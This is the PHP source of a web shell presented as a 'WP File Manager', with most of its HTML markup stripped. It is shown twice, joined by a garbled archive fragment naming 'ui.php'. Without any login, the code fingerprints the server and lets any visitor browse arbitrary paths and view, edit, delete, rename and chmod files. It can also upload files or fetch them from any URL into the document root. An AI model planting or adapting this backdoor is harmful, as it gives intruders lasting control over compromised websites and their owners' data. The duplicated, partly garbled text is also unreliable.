'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëeset@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
